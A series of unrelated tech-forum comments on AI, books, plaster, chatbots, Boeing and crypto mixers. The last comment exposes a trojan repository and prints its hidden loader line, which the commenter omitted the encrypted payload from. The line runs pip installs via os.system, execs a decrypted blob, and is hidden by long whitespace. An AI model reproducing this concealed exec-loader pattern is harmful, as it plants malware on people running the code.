So instead of talking to your peers, you can let a high-speed bureaucratic process written by strangers make decisions for you.

Wait, edit that: instead of learning how to talk to your peers.

why on God's green Earth is a keyboard widget offloading the work to machines outside the device? Are smartphones not powerful enough? Is the Chinese language so taxing that 6 CPU cores and 4GB of ram isnt enough?

I spend the same amount of $$ on books -- I'd guess more than earlier decades -- but because of the price tags, that works out to fewer books. So, looking at it one way, I am buying fewer books but not because I don't want new books; it's because book publishers are raising the barrier and I can't always jump over.

"A military court in Moscow...

I had no idea Andy Stone was enlisted in the Russian national military. Does Stone know?

"The registration is among the first for creative works incorporating AI-generated text..."

Glad they said "among the first" instead of some thrilling this-is-unprecedented malarkey.

"The Policeman's Beard Is Half Constructed" Warner Books 1984. ISBN 0-446-38051-2.

Plaster has been steadily falling out of favor, however, at least from what I understand.

I learned a fun fact from my contractor neighbour... they're doing a lot more jobs with plaster these days. People have moved away from popcorn ceiling finishes and wallpaper, and flat (in both texture and paint finish) painted walls and ceilings amplify every last little defect in drywall. A plaster crew can achieve a much better finish faster than a drywall crew.

If you can hire a plaster crew, because they've gotten rarer.

Leslie Brown told The Markup that the bot "has already provided thousands of people with timely, accurate answers"

When asked about the fallen debris, city engineers told reporters "we already made thousands of correct measurements..."

When asked about the customers suffering from food poisoning, the kitchen owners told reporters "we've already provided thousands of satisfactory meals..."

I get that mistakes will be made -- hell, the chatbot might even make fewer mistakes. What puts a bee in my bonnet is this attitude that nobody can be held accountable for hallucinations and errors made by the clockwork device you purchased hoping to avoiding giving a human a job.

now you'll not only be carded every time you buy porn, but every single time you access it.

Unless you access it via a pirate site. But nobody would do that.

You submit a DNA sample to a service that tries to match samples to dog DNA, you're probably going to get a match against dog DNA.

Try 23andMe next time.

If there are no records of who did the work, then the CEO of Boeing did the work.

Start with that premise, and see where it leads. I suspect they'll be sufficiently motivated to find some records.

Isn't a crypto-mixer explicitly for money-laundering? This sounds like charging a reservoir for the act of holding water.

Wikipedia: "A cryptocurrency tumbler or cryptocurrency mixing service is a service that mixes potentially identifiable or "tainted" cryptocurrency funds with others, so as to obscure the trail back to the fund's original source."

Allow self-certification, but require an FAA investigation, including private interviews, every time someone responsible for any certification leaves their position. Make "fix this or I quit" mean something.

If you treat the stock market like a casino, don't act surprised when it acts like a casino.

I feel you're misrepresenting the fact hoping to make us upset to increase engagement.

You state "as annoying as Clippy." What made Clippy annoying was the unprompted interruptions. Yes, as stated twice in the summary (nevermind how many times in the original piece) "after a user's cursor hovers over the icon in the task bar" which is a small 24x24 pixel or smaller area of a 1920x1080 pixel or larger screen. Windows even makes it harder to get there because of the "off the border by a few pixels" design flaw they've been carrying since Windows 95. The user won't see this pop-up unless they make significant effort to summon it, therefore it won't be unprompted and thus won't be "as annoying as Clippy."

I found one of the trojan repos. Looking at "Gen.py" in the web ui the first three lines are:

import os
import asyncio
import time

But if you hit the 'raw' button, or highlight the lines and paste in into another window, you get a VERY different picture

import os ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'[base64 omitted]=').decrypt(b'[more base64 omitted]'))
import asyncio
import time

It's exploiting very long lines of whitespace to hide the bad code in the overflow.